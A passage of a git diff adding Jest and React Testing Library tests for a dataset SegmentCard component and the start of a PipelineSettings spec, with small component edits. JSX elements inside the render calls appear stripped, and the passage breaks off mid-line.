screen.getByTestId('segment-card') + expect(card).toHaveClass('custom-class') + }) + }) + + // -------------------------------------------------------------------------- + // Props Tests + // -------------------------------------------------------------------------- + describe('Props', () => { + it('should use default empty object when detail is undefined', () => { + render() + + expect(screen.getByText(/Chunk/i)).toBeInTheDocument() + }) + + it('should handle archived prop correctly - switch should be disabled', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const switchElement = screen.getByRole('switch') + expect(switchElement).toHaveClass('!cursor-not-allowed') + }) + + it('should show action buttons when embeddingAvailable is true', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + expect(screen.getByTestId('segment-edit-button')).toBeInTheDocument() + expect(screen.getByTestId('segment-delete-button')).toBeInTheDocument() + expect(screen.getByRole('switch')).toBeInTheDocument() + }) + + it('should not show action buttons when embeddingAvailable is false', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + expect(screen.queryByRole('switch')).not.toBeInTheDocument() + }) + + it('should apply focused styles when segmentContent is focused', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const card = screen.getByTestId('segment-card') + expect(card).toHaveClass('bg-dataset-chunk-detail-card-hover-bg') + }) + }) + + // -------------------------------------------------------------------------- + // State Management Tests + // -------------------------------------------------------------------------- + describe('State Management', () => { + it('should toggle delete confirmation modal when delete button clicked', async () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const deleteButton = screen.getByTestId('segment-delete-button') + fireEvent.click(deleteButton) + + await waitFor(() => { + expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument() + }) + }) + + it('should close delete confirmation modal when cancel is clicked', async () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const deleteButton = screen.getByTestId('segment-delete-button') + fireEvent.click(deleteButton) + + await waitFor(() => { + expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument() + }) + + fireEvent.click(screen.getByText('common.operation.cancel')) + + await waitFor(() => { + expect(screen.queryByText('datasetDocuments.segment.delete')).not.toBeInTheDocument() + }) + }) + }) + + // -------------------------------------------------------------------------- + // Callback Tests + // -------------------------------------------------------------------------- + describe('Callbacks', () => { + it('should call onClick when card is clicked in general mode', () => { + const onClick = jest.fn() + const detail = createMockSegmentDetail() + mockDocForm.current = ChunkingMode.text + + render( + , + ) + + const card = screen.getByTestId('segment-card') + fireEvent.click(card) + + expect(onClick).toHaveBeenCalledTimes(1) + }) + + it('should not call onClick when card is clicked in full-doc mode', () => { + const onClick = jest.fn() + const detail = createMockSegmentDetail() + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + + render( + , + ) + + const card = screen.getByTestId('segment-card') + fireEvent.click(card) + + expect(onClick).not.toHaveBeenCalled() + }) + + it('should call onClick when view more button is clicked in full-doc mode', () => { + const onClick = jest.fn() + const detail = createMockSegmentDetail() + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + + render() + + const viewMoreButton = screen.getByRole('button', { name: /viewMore/i }) + fireEvent.click(viewMoreButton) + + expect(onClick).toHaveBeenCalledTimes(1) + }) + + it('should call onClickEdit when edit button is clicked', () => { + const onClickEdit = jest.fn() + const detail = createMockSegmentDetail() + + render( + , + ) + + const editButton = screen.getByTestId('segment-edit-button') + fireEvent.click(editButton) + + expect(onClickEdit).toHaveBeenCalledTimes(1) + }) + + it('should call onDelete when confirm delete is clicked', async () => { + const onDelete = jest.fn().mockResolvedValue(undefined) + const detail = createMockSegmentDetail({ id: 'test-segment-id' }) + + render( + , + ) + + const deleteButton = screen.getByTestId('segment-delete-button') + fireEvent.click(deleteButton) + + await waitFor(() => { + expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument() + }) + + fireEvent.click(screen.getByText('common.operation.sure')) + + await waitFor(() => { + expect(onDelete).toHaveBeenCalledWith('test-segment-id') + }) + }) + + it('should call onChangeSwitch when switch is toggled', async () => { + const onChangeSwitch = jest.fn().mockResolvedValue(undefined) + const detail = createMockSegmentDetail({ id: 'test-segment-id', enabled: true, status: 'completed' }) + + render( + , + ) + + const switchElement = screen.getByRole('switch') + fireEvent.click(switchElement) + + await waitFor(() => { + expect(onChangeSwitch).toHaveBeenCalledWith(false, 'test-segment-id') + }) + }) + + it('should stop propagation when edit button is clicked', () => { + const onClick = jest.fn() + const onClickEdit = jest.fn() + const detail = createMockSegmentDetail() + + render( + , + ) + + const editButton = screen.getByTestId('segment-edit-button') + fireEvent.click(editButton) + + expect(onClickEdit).toHaveBeenCalledTimes(1) + expect(onClick).not.toHaveBeenCalled() + }) + + it('should stop propagation when switch area is clicked', () => { + const onClick = jest.fn() + const detail = createMockSegmentDetail({ status: 'completed' }) + + render( + , + ) + + const switchElement = screen.getByRole('switch') + const switchContainer = switchElement.parentElement + fireEvent.click(switchContainer!) + + expect(onClick).not.toHaveBeenCalled() + }) + }) + + // -------------------------------------------------------------------------- + // Memoization Logic Tests + // -------------------------------------------------------------------------- + describe('Memoization Logic', () => { + it('should compute isGeneralMode correctly for text mode - show keywords', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ keywords: ['testkeyword'] }) + + render() + + expect(screen.getByText('testkeyword')).toBeInTheDocument() + }) + + it('should compute isGeneralMode correctly for non-text mode - hide keywords', () => { + mockDocForm.current = ChunkingMode.qa + const detail = createMockSegmentDetail({ keywords: ['testkeyword'] }) + + render() + + expect(screen.queryByText('testkeyword')).not.toBeInTheDocument() + }) + + it('should compute isParentChildMode correctly - show parent chunk prefix', () => { + mockDocForm.current = ChunkingMode.parentChild + const detail = createMockSegmentDetail() + + render() + + expect(screen.getByText(/datasetDocuments\.segment\.parentChunk/i)).toBeInTheDocument() + }) + + it('should compute isFullDocMode correctly - show view more button', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const detail = createMockSegmentDetail() + + render() + + expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument() + }) + + it('should compute isParagraphMode correctly and show child chunks', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'paragraph' + const childChunks = [createMockChildChunk()] + const detail = createMockSegmentDetail({ child_chunks: childChunks }) + + render() + + // ChildSegmentList should render + expect(screen.getByText(/child chunk/i)).toBeInTheDocument() + }) + + it('should compute chunkEdited correctly when updated_at > created_at', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ + created_at: 1700000000, + updated_at: 1700000001, + }) + + render() + + expect(screen.getByText('datasetDocuments.segment.edited')).toBeInTheDocument() + }) + + it('should not show edited badge when timestamps are equal', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ + created_at: 1700000000, + updated_at: 1700000000, + }) + + render() + + expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument() + }) + + it('should not show edited badge in full-doc mode', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const detail = createMockSegmentDetail({ + created_at: 1700000000, + updated_at: 1700000001, + }) + + render() + + expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument() + }) + + it('should compute contentOpacity correctly when enabled', () => { + const detail = createMockSegmentDetail({ enabled: true }) + + const { container } = render() + + const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary') + expect(wordCount).not.toHaveClass('opacity-50') + }) + + it('should compute contentOpacity correctly when disabled', () => { + const detail = createMockSegmentDetail({ enabled: false }) + + render() + + // ChunkContent receives opacity class when disabled + const markdown = screen.getByTestId('markdown') + expect(markdown).toHaveClass('opacity-50') + }) + + it('should not apply opacity when disabled but focused', () => { + const detail = createMockSegmentDetail({ enabled: false }) + + const { container } = render( + , + ) + + const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary') + expect(wordCount).not.toHaveClass('opacity-50') + }) + + it('should compute wordCountText with correct format for singular', () => { + const detail = createMockSegmentDetail({ word_count: 1 }) + + render() + + expect(screen.getByText('1 character')).toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // Mode-specific Rendering Tests + // -------------------------------------------------------------------------- + describe('Mode-specific Rendering', () => { + it('should render without padding classes in full-doc mode', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const detail = createMockSegmentDetail() + + render() + + const card = screen.getByTestId('segment-card') + expect(card).not.toHaveClass('pb-2') + expect(card).not.toHaveClass('pt-2.5') + }) + + it('should render with hover classes in non full-doc mode', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail() + + render() + + const card = screen.getByTestId('segment-card') + expect(card).toHaveClass('pb-2') + expect(card).toHaveClass('pt-2.5') + }) + + it('should not render status item in full-doc mode', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const detail = createMockSegmentDetail() + + render() + + // In full-doc mode, status item should not render + expect(screen.queryByText('Status:')).not.toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // Child Segment List Tests + // -------------------------------------------------------------------------- + describe('Child Segment List', () => { + it('should render ChildSegmentList when in paragraph mode with child chunks', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'paragraph' + const childChunks = [createMockChildChunk(), createMockChildChunk({ id: 'child-2', position: 2 })] + const detail = createMockSegmentDetail({ child_chunks: childChunks }) + + render() + + expect(screen.getByText(/2 child chunks/i)).toBeInTheDocument() + }) + + it('should not render ChildSegmentList when child_chunks is empty', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'paragraph' + const detail = createMockSegmentDetail({ child_chunks: [] }) + + render() + + expect(screen.queryByText(/child chunk/i)).not.toBeInTheDocument() + }) + + it('should not render ChildSegmentList in full-doc mode', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const childChunks = [createMockChildChunk()] + const detail = createMockSegmentDetail({ child_chunks: childChunks }) + + render() + + // In full-doc mode, ChildSegmentList should not render + expect(screen.queryByText(/1 child chunk$/i)).not.toBeInTheDocument() + }) + + it('should call handleAddNewChildChunk when add button is clicked', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'paragraph' + const handleAddNewChildChunk = jest.fn() + const childChunks = [createMockChildChunk()] + const detail = createMockSegmentDetail({ id: 'parent-id', child_chunks: childChunks }) + + render( + , + ) + + const addButton = screen.getByText('common.operation.add') + fireEvent.click(addButton) + + expect(handleAddNewChildChunk).toHaveBeenCalledWith('parent-id') + }) + }) + + // -------------------------------------------------------------------------- + // Keywords Display Tests + // -------------------------------------------------------------------------- + describe('Keywords Display', () => { + it('should render keywords with # prefix in general mode', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ keywords: ['keyword1', 'keyword2'] }) + + const { container } = render() + + expect(screen.getByText('keyword1')).toBeInTheDocument() + expect(screen.getByText('keyword2')).toBeInTheDocument() + // Tag component shows # prefix + const hashtags = container.querySelectorAll('.text-text-quaternary') + expect(hashtags.length).toBeGreaterThan(0) + }) + + it('should not render keywords in QA mode', () => { + mockDocForm.current = ChunkingMode.qa + const detail = createMockSegmentDetail({ keywords: ['keyword1'] }) + + render() + + expect(screen.queryByText('keyword1')).not.toBeInTheDocument() + }) + + it('should not render keywords in parent-child mode', () => { + mockDocForm.current = ChunkingMode.parentChild + const detail = createMockSegmentDetail({ keywords: ['keyword1'] }) + + render() + + expect(screen.queryByText('keyword1')).not.toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // Images Display Tests + // -------------------------------------------------------------------------- + describe('Images Display', () => { + it('should render ImageList when attachments exist', () => { + const attachments = [createMockAttachment()] + const detail = createMockSegmentDetail({ attachments }) + + render() + + // ImageList uses FileThumb which renders images + expect(screen.getByAltText('test-image.png')).toBeInTheDocument() + }) + + it('should not render ImageList when attachments is empty', () => { + const detail = createMockSegmentDetail({ attachments: [] }) + + render() + + expect(screen.queryByAltText('test-image.png')).not.toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // Edge Cases and Error Handling Tests + // -------------------------------------------------------------------------- + describe('Edge Cases and Error Handling', () => { + it('should handle undefined detail gracefully', () => { + render() + + expect(screen.getByText(/Chunk/i)).toBeInTheDocument() + }) + + it('should handle empty detail object gracefully', () => { + render() + + expect(screen.getByText(/Chunk/i)).toBeInTheDocument() + }) + + it('should handle missing callback functions gracefully', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const card = screen.getByTestId('segment-card') + expect(() => fireEvent.click(card)).not.toThrow() + }) + + it('should handle switch being disabled when status is not completed', () => { + const detail = createMockSegmentDetail({ status: 'indexing' }) + + render( + , + ) + + // The Switch component uses CSS classes for disabled state, not the native disabled attribute + const switchElement = screen.getByRole('switch') + expect(switchElement).toHaveClass('!cursor-not-allowed', '!opacity-50') + }) + + it('should handle zero word count', () => { + const detail = createMockSegmentDetail({ word_count: 0 }) + + render() + + expect(screen.getByText('0 characters')).toBeInTheDocument() + }) + + it('should handle zero hit count', () => { + const detail = createMockSegmentDetail({ hit_count: 0 }) + + render() + + expect(screen.getByText('0 datasetDocuments.segment.hitCount')).toBeInTheDocument() + }) + + it('should handle very long content', () => { + const longContent = 'A'.repeat(10000) + // ChunkContent shows sign_content first, so set it to the long content + const detail = createMockSegmentDetail({ sign_content: longContent }) + + render() + + expect(screen.getByText(longContent)).toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // Component Integration Tests + // -------------------------------------------------------------------------- + describe('Component Integration', () => { + it('should render real Tag component with hashtag styling', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ keywords: ['testkeyword'] }) + + render() + + expect(screen.getByText('testkeyword')).toBeInTheDocument() + }) + + it('should render real Divider component', () => { + const detail = createMockSegmentDetail() + + render( + , + ) + + const dividers = document.querySelectorAll('.bg-divider-regular') + expect(dividers.length).toBeGreaterThan(0) + }) + + it('should render real Badge component when edited', () => { + mockDocForm.current = ChunkingMode.text + const detail = createMockSegmentDetail({ + created_at: 1700000000, + updated_at: 1700000001, + }) + + render() + + const editedBadge = screen.getByText('datasetDocuments.segment.edited') + expect(editedBadge).toHaveClass('system-2xs-medium-uppercase') + }) + + it('should render real Switch component with correct enabled state', () => { + const detail = createMockSegmentDetail({ enabled: true, status: 'completed' }) + + render( + , + ) + + const switchElement = screen.getByRole('switch') + expect(switchElement).toHaveClass('bg-components-toggle-bg') + }) + + it('should render real Switch component with unchecked state', () => { + const detail = createMockSegmentDetail({ enabled: false, status: 'completed' }) + + render( + , + ) + + const switchElement = screen.getByRole('switch') + expect(switchElement).toHaveClass('bg-components-toggle-bg-unchecked') + }) + + it('should render real SegmentIndexTag with position formatting', () => { + const detail = createMockSegmentDetail({ position: 1 }) + + render() + + expect(screen.getByText(/Chunk-01/i)).toBeInTheDocument() + }) + + it('should render real SegmentIndexTag with double digit position', () => { + const detail = createMockSegmentDetail({ position: 12 }) + + render() + + expect(screen.getByText(/Chunk-12/i)).toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // All Props Variations Tests + // -------------------------------------------------------------------------- + describe('All Props Variations', () => { + it('should render correctly with all props provided', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'paragraph' + const childChunks = [createMockChildChunk()] + const attachments = [createMockAttachment()] + const detail = createMockSegmentDetail({ + id: 'full-props-segment', + position: 10, + sign_content: 'Full signed content', + content: 'Full content', + word_count: 500, + hit_count: 25, + enabled: true, + keywords: ['key1', 'key2'], + child_chunks: childChunks, + attachments, + created_at: 1700000000, + updated_at: 1700000001, + status: 'completed', + }) + + render( + , + ) + + // ChunkContent shows sign_content first + expect(screen.getByText('Full signed content')).toBeInTheDocument() + expect(screen.getByRole('switch')).toBeInTheDocument() + }) + + it('should render correctly with minimal props', () => { + render() + + expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument() + }) + + it('should handle loading transition correctly', () => { + const detail = createMockSegmentDetail() + + const { rerender } = render() + + // When loading, content should not be visible + expect(screen.queryByText('Test signed content')).not.toBeInTheDocument() + + rerender() + + // ChunkContent shows sign_content first + expect(screen.getByText('Test signed content')).toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // ChunkContent QA Mode Tests - cover lines 25-49 + // -------------------------------------------------------------------------- + describe('ChunkContent QA Mode', () => { + it('should render Q and A sections when answer is provided', () => { + const detail = createMockSegmentDetail({ + content: 'This is the question content', + answer: 'This is the answer content', + sign_content: '', + }) + + render() + + // Should render Q label + expect(screen.getByText('Q')).toBeInTheDocument() + // Should render A label + expect(screen.getByText('A')).toBeInTheDocument() + // Should render question content + expect(screen.getByText('This is the question content')).toBeInTheDocument() + // Should render answer content + expect(screen.getByText('This is the answer content')).toBeInTheDocument() + }) + + it('should apply line-clamp-2 class when isCollapsed is true in QA mode', () => { + mockIsCollapsed.current = true + const detail = createMockSegmentDetail({ + content: 'Question content', + answer: 'Answer content', + sign_content: '', + }) + + render() + + // Markdown components should have line-clamp-2 class when collapsed + const markdowns = screen.getAllByTestId('markdown') + markdowns.forEach((markdown) => { + expect(markdown).toHaveClass('line-clamp-2') + }) + }) + + it('should apply line-clamp-20 class when isCollapsed is false in QA mode', () => { + mockIsCollapsed.current = false + const detail = createMockSegmentDetail({ + content: 'Question content', + answer: 'Answer content', + sign_content: '', + }) + + render() + + // Markdown components should have line-clamp-20 class when not collapsed + const markdowns = screen.getAllByTestId('markdown') + markdowns.forEach((markdown) => { + expect(markdown).toHaveClass('line-clamp-20') + }) + }) + + it('should render QA mode with className applied to wrapper', () => { + const detail = createMockSegmentDetail({ + content: 'Question', + answer: 'Answer', + sign_content: '', + enabled: false, + }) + + const { container } = render() + + // The ChunkContent wrapper should have opacity class when disabled + const qaWrapper = container.querySelector('.flex.gap-x-1') + expect(qaWrapper).toBeInTheDocument() + }) + + it('should not render QA mode when answer is empty string', () => { + const detail = createMockSegmentDetail({ + content: 'Regular content', + answer: '', + sign_content: 'Signed content', + }) + + render() + + // Should not render Q and A labels + expect(screen.queryByText('Q')).not.toBeInTheDocument() + expect(screen.queryByText('A')).not.toBeInTheDocument() + // Should render signed content instead + expect(screen.getByText('Signed content')).toBeInTheDocument() + }) + + it('should not render QA mode when answer is undefined', () => { + const detail = createMockSegmentDetail({ + content: 'Regular content', + answer: undefined, + sign_content: 'Signed content', + }) + + render() + + // Should not render Q and A labels + expect(screen.queryByText('Q')).not.toBeInTheDocument() + expect(screen.queryByText('A')).not.toBeInTheDocument() + }) + }) + + // -------------------------------------------------------------------------- + // ChunkContent Non-QA Mode Tests - ensure full coverage + // -------------------------------------------------------------------------- + describe('ChunkContent Non-QA Mode', () => { + it('should apply line-clamp-3 in fullDocMode', () => { + mockDocForm.current = ChunkingMode.parentChild + mockParentMode.current = 'full-doc' + const detail = createMockSegmentDetail({ + sign_content: 'Content in full doc mode', + }) + + render() + + const markdown = screen.getByTestId('markdown') + expect(markdown).toHaveClass('line-clamp-3') + }) + + it('should apply line-clamp-2 when not fullDocMode and isCollapsed is true', () => { + mockDocForm.current = ChunkingMode.text + mockIsCollapsed.current = true + const detail = createMockSegmentDetail({ + sign_content: 'Collapsed content', + }) + + render() + + const markdown = screen.getByTestId('markdown') + expect(markdown).toHaveClass('line-clamp-2') + }) + + it('should apply line-clamp-20 when not fullDocMode and isCollapsed is false', () => { + mockDocForm.current = ChunkingMode.text + mockIsCollapsed.current = false + const detail = createMockSegmentDetail({ + sign_content: 'Expanded content', + }) + + render() + + const markdown = screen.getByTestId('markdown') + expect(markdown).toHaveClass('line-clamp-20') + }) + + it('should fall back to content when sign_content is empty', () => { + const detail = createMockSegmentDetail({ + content: 'Fallback content', + sign_content: '', + }) + + render() + + expect(screen.getByText('Fallback content')).toBeInTheDocument() + }) + + it('should render empty string when both sign_content and content are empty', () => { + const detail = createMockSegmentDetail({ + content: '', + sign_content: '', + }) + + render() + + const markdown = screen.getByTestId('markdown') + expect(markdown).toHaveTextContent('') + }) + }) +}) diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx index 679a0ec777..ce24b843de 100644 --- a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx +++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx @@ -129,6 +129,7 @@ const SegmentCard: FC = ({ return (
= ({ popupClassName='text-text-secondary system-xs-medium' >
{ e.stopPropagation() @@ -184,7 +186,9 @@ const SegmentCard: FC = ({ popupContent='Delete' popupClassName='text-text-secondary system-xs-medium' > -
{ e.stopPropagation() setShowModal(true) diff --git a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx index f22024bb8e..b013d952a7 100644 --- a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx +++ b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx @@ -10,7 +10,7 @@ import { const ParentChunkCardSkelton = () => { const { t } = useTranslation() return ( -
+
diff --git a/web/app/components/datasets/documents/detail/context.ts b/web/app/components/datasets/documents/detail/context.ts index 1d6f121d6b..ae737994d9 100644 --- a/web/app/components/datasets/documents/detail/context.ts +++ b/web/app/components/datasets/documents/detail/context.ts @@ -1,7 +1,7 @@ import type { ChunkingMode, ParentMode } from '@/models/datasets' import { createContext, useContextSelector } from 'use-context-selector' -type DocumentContextValue = { +export type DocumentContextValue = { datasetId?: string documentId?: string docForm?: ChunkingMode diff --git a/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx new file mode 100644 index 0000000000..79968b5b24 --- /dev/null +++ b/web/app/components/datasets/documents/detail/settings/pipeline-settings/index.spec.tsx @@ -0,0 +1,786 @@ +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import { QueryClient, QueryClientProvider } from '@tanstack/react-query' +import PipelineSettings from './index' +import { DatasourceType } from '@/models/pipeline' +import type { PipelineExecutionLogResponse } from '@/models/pipeline' + +// Mock i18n +jest.mock('react-i18next', () => ({ + useTranslation: () => ({ + t: (key: string) => key, + }), +})) + +// Mock Next.js router +const mockPush = jest.fn() +const mockBack = jest.fn() +jest.mock('next/navigation', () => ({ + useRouter: () => ({ + push: mockPush, + back: mockBack, + }), +})) + +// Mock dataset detail context +const mockPipelineId = 'pipeline-123' +jest.mock('@/context/dataset-detail', () => ({ + useDatasetDetailContextWithSelector: (selector: (state: { dataset: { pipeline_id: string; doc_form: string } }) => unknown) => + selector({ dataset: { pipeline_id: mockPipelineId, doc_form: 'text_model' } }), +})) + +// Mock API hooks for PipelineSettings +const mockUsePipelineExecutionLog = jest.fn() +const mockMutateAsync = jest.fn() +const mockUseRunPublishedPipeline = jest.fn() +jest.mock('@/service/use-pipeline', () => ({ + usePipelineExecutionLog: (params: { dataset_id: string; document_id: string }) => mockUsePipelineExecutionLog(params), + useRunPublishedPipeline: () => mockUseRunPublishedPipeline(), + // For ProcessDocuments component + usePublishedPipelineProcessingParams: () => ({ + data: { variables: [] }, + isFetching: false, + }), +})) + +// Mock document invalidation hooks +const mockInvalidDocumentList = jest.fn() +const mockInvalidDocumentDetail = jest.fn() +jest.mock('@/service/knowledge/use-document', () => ({ + useInvalidDocumentList: () => mockInvalidDocumentList, + useInvalidDocumentDetail: () => mockInvalidDocumentDetail, +})) + +// Mock Form component in ProcessDocuments - internal dependencies are too complex +jest.mock('../../../create-from-pipeline/process-documents/form', () => { + return function MockForm({ + ref, + initialData, + configurations, + onSubmit, + onPreview, + isRunning, + }: { + ref: React.RefObject<{ submit: () => void }> + initialData: Record + configurations: Array<{ variable: string; label: string; type: string }> + schema: unknown + onSubmit: (data: Record) => void + onPreview: () => void + isRunning: boolean + }) { + if (ref && typeof ref === 'object' && 'current' in ref) { + (ref as React.MutableRefObject<{ submit: () => void }>).current = { + submit: () => onSubmit(initialData), + } + } + return ( +
{ + e.preventDefault() + onSubmit(initialData) + }} + > + {configurations.map((config, index) => ( +
+ +
+ ))} + +
+ ) + } +}) + +// Mock ChunkPreview - has complex internal state and many dependencies +jest.mock('../../../create-from-pipeline/preview/chunk-preview', () => { + return function MockChunkPreview({ + dataSourceType, + localFiles, + onlineDocuments, + websitePages, + onlineDriveFiles, + isIdle, + isPending, + estimateData, + }: { + dataSourceType: string + localFiles: unknown[] + onlineDocuments: unknown[] + websitePages: unknown[] + onlineDriveFiles: unknown[] + isIdle: boolean + isPending: boolean + estimateData: unknown + }) { + return ( +
+ {dataSourceType} + {localFiles.length} + {onlineDocuments.length} + {websitePages.length} + {onlineDriveFiles.length} + {String(isIdle)} + {String(isPending)} + {String(!!estimateData)} +
+ ) + } +}) + +// Test utilities +const createQueryClient = () => + new QueryClient({ + defaultOptions: { + queries: { retry: false }, + mutations: { retry: false }, + }, + }) + +const renderWithProviders = (ui: React.ReactElement) => { + const queryClient = createQueryClient() + return render( + + {ui} + , + ) +} + +// Factory functions for test data +const createMockExecutionLogResponse = ( + overrides: Partial = {}, +): PipelineExecutionLogResponse => ({ + datasource_type: DatasourceType.localFile, + input_data: { chunk_size: '100' }, + datasource_node_id: 'datasource-node-1', + datasource_info: { + related_id: 'file-1', + name: 'test-file.pdf', + extension: 'pdf', + }, + ...overrides, +}) + +const createDefaultProps = () => ({ + datasetId: 'dataset-123', + documentId: 'document-456', +}) + +describe('PipelineSettings', () => { + beforeEach(() => { + jest.clearAllMocks() + mockPush.mockClear() + mockBack.mockClear() + mockMutateAsync.mockClear() + mockInvalidDocumentList.mockClear() + mockInvalidDocumentDetail.mockClear() + + // Default: successful data fetch + mockUsePipelineExecutionLog.mockReturnValue({ + data: createMockExecutionLogResponse(), + isFetching: false, + isError: false, + }) + + // Default: useRunPublishedPipeline mock + mockUseRunPublishedPipeline.mockReturnValue({ + mutateAsync: mockMutateAsync, + isIdle: true, + isPending: false, + }) + }) + + // ==================== Rendering Tests ==================== + // Test basic rendering with real components + describe('Rendering', () => { + it('should render without crashing when data is loaded', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - Real LeftHeader should render with correct content + expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument() + expect(screen.getByText('datasetPipeline.addDocuments.steps.processDocuments')).toBeInTheDocument() + // Real ProcessDocuments should render + expect(screen.getByTestId('process-form')).toBeInTheDocument() + // ChunkPreview should render + expect(screen.getByTestId('chunk-preview')).toBeInTheDocument() + }) + + it('should render Loading component when fetching data', () => { + // Arrange + mockUsePipelineExecutionLog.mockReturnValue({ + data: undefined, + isFetching: true, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - Loading component should be rendered, not main content + expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument() + expect(screen.queryByTestId('process-form')).not.toBeInTheDocument() + }) + + it('should render AppUnavailable when there is an error', () => { + // Arrange + mockUsePipelineExecutionLog.mockReturnValue({ + data: undefined, + isFetching: false, + isError: true, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - AppUnavailable should be rendered + expect(screen.queryByText('datasetPipeline.documentSettings.title')).not.toBeInTheDocument() + }) + + it('should render container with correct CSS classes', () => { + // Arrange + const props = createDefaultProps() + + // Act + const { container } = renderWithProviders() + + // Assert + const mainContainer = container.firstChild as HTMLElement + expect(mainContainer).toHaveClass('relative', 'flex', 'min-w-[1024px]') + }) + }) + + // ==================== LeftHeader Integration ==================== + // Test real LeftHeader component behavior + describe('LeftHeader Integration', () => { + it('should render LeftHeader with title prop', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - LeftHeader displays the title + expect(screen.getByText('datasetPipeline.documentSettings.title')).toBeInTheDocument() + }) + + it('should render back button in LeftHeader', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert - Back button should exist with proper aria-label + const backButton = screen.getByRole('button', { name: 'common.operation.back' }) + expect(backButton).toBeInTheDocument() + }) + + it('should call router.back when back button is clicked', () => { + // Arrange + const props = createDefaultProps() + + // Act + renderWithProviders() + const backButton = screen.getByRole('button', { name: 'common.operation.back' }) + fireEvent.click(backButton) + + // Assert + expect(mockBack).toHaveBeenCalledTimes(1) + }) + }) + + // ==================== Props Testing ==================== + describe('Props', () => { + it('should pass datasetId and documentId to usePipelineExecutionLog', () => { + // Arrange + const props = { datasetId: 'custom-dataset', documentId: 'custom-document' } + + // Act + renderWithProviders() + + // Assert + expect(mockUsePipelineExecutionLog).toHaveBeenCalledWith({ + dataset_id: 'custom-dataset', + document_id: 'custom-document', + }) + }) + }) + + // ==================== Memoization - Data Transformation ==================== + describe('Memoization - Data Transformation', () => { + it('should transform localFile datasource correctly', () => { + // Arrange + const mockData = createMockExecutionLogResponse({ + datasource_type: DatasourceType.localFile, + datasource_info: { + related_id: 'file-123', + name: 'document.pdf', + extension: 'pdf', + }, + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('local-files-count')).toHaveTextContent('1') + expect(screen.getByTestId('datasource-type')).toHaveTextContent(DatasourceType.localFile) + }) + + it('should transform websiteCrawl datasource correctly', () => { + // Arrange + const mockData = createMockExecutionLogResponse({ + datasource_type: DatasourceType.websiteCrawl, + datasource_info: { + content: 'Page content', + description: 'Page description', + source_url: 'https://example.com/page', + title: 'Page Title', + }, + }) + mockUsePipelineExecutionLog.mockReturnValue({ + data: mockData, + isFetching: false, + isError: false, + }) + const props = createDefaultProps() + + // Act + renderWithProviders() + + // Assert + expect(screen.getByTestId('website-pages-count')).toHaveTextContent('1') + expect(screen.getByTestId('local-files-count')).toHaveTextContent('0') + }) + + it('should transform onlineDocument datasource correctly', () => { + // Arrange + const 